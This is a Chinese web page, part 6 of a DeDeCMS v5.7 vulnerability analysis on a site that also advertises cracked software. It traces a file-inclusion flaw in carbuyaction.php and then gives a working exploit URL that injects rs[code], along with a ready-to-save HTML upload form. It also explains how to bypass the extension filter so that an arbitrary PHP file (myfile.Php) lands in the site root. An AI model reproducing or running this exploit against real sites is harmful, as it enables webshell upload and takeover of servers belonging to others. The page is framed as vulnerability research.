免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 网站相关 > 网站安全 > DeDeCMS v5.7 member漏洞分析(6)

DeDeCMS v5.7 member漏洞分析(6)

时间:2012-04-12 20:32来源:未知 整理:寂涯网络 点击:


 
if($cfg_mb_open == 'N')
{
ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","javascript:;");
exit();
}   //①要求系统开启会员功能
$cfg_ml = new MemberLogin();
if(!isset($dopost) || empty($dopost)){
...(略)
} else if ($dopost == 'memclickout')
{
$svali = GetCkVdValue();
if(preg_match ("/S-P[0-9]+RN[0-9]/",$oid))
{
$oid=trim($oid);
} else { ShowMsg("您的订单号不存在!","/member/shops_orders.php",0,2000);
exit();
} //②要求$oid 变量符合正则表达式
if($cfg_ml->IsLogin())
{
 
}
else
{

$userid = $cfg_ml->M_ID;

...(略) //验证用户名、密码
}  //③要求用户登录
$row=$dsql->GetOne("SELECT * FROM `#@  shops_orders` WHERE oid='$oid' ");
if(is_array($row)){

 
$OrdersId=$oid;
$CartCount=$row['cartcount'];
$priceCount=$row['priceCount'];
$pid=$row['pid'];
$rs    =    $dsql->GetOne("SELECT       *    FROM    `#@  payment`      WHERE
id='{$row['paytype']}' ");
}
//④当$row 不是数组,即 if 条件不成立,不会重写变量$rs,所以外部提交
$rs['code']变量,实现包含调用 select_soft_post.php 文件。
require_once DEDEINC.'/payment/'.$rs['code'].'.php';
...(略)
}
 
分析代码可以知道:语句①和③要求系统开启会员功能并且登陆用户;语句②要求变量
$oid 符合正则表达式“S-P[0-9]+RN[0-9]”,即以“S-P”开头,加数字,加“RN”,最后 是数字;语句④是导致可以包含调用的关键,当$row 不是数组,即 Sql 语句无返回结果, 这时就可以外部提交$rs['code']变量,实现包含调用 select_soft_post.php 文件。给出利 用链接:“http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=
S-P0RN8888&rs[code]=../dialog/select_soft_post”,访问页面如图 7。
图7
将下面的源码另存为 upload1.htm,获得提交页面如图 8。
 
<form
action="http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN888
8&rs[code]=../dialog/select_soft_post"                            method="post" enctype="multipart/form-data" name="form1">
file:<input name="uploadfile" type="file" /><br>
newname:<input name="newname" type="text" value="myfile.Php"/>
<button class="button2" type="submit">提交</button><br><br>
1,必须登陆用户。<br>
2,将待上传 PHP 文件扩展名改为“zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。<br>
3,newname 为上传后的新文件名,扩展名使用大写绕过,如“Php”。<br>

图8
提交后尽管页面出错,如图9,但是myfile.Php文件已经成功上传到网站根目录。
漏洞影响:DeDeCMS V5.6 和 5.7 所有版本。因为 V5.6 使用 eregi 函数进行正则判断,
忽略大小写,所以无法绕过 CheckSql 函数的“Safe  Alert: Request Error step 1 !”的
过 滤,不 存在注 入漏洞, 但是却 存在上 传漏洞。 比较 V5.6 与 V5.7 页 面代码 ,
“/plus/carbuyaction.php”一致,仅“/dialog/select_soft_post.php”略有不同,代码
如下:
…(略)
$uploadfile_name =
trim(ereg_replace("[ \r\n\t\*\%\\/\?><\|\":]{1,}",'',$uploadfile_name));
if(!eregi("\.(".$cfg_softtype.")", $uploadfile_name))
{
ShowMsg("你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的 配置!","");
exit();
}//将待上传文件的扩展名改为rar等,绕过这里的限制

本页地址 http://www.jybase.net/wangzhananquan/20120412823.html

百度搜索更多

谷歌搜索更多

顶一下
(2)
100%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com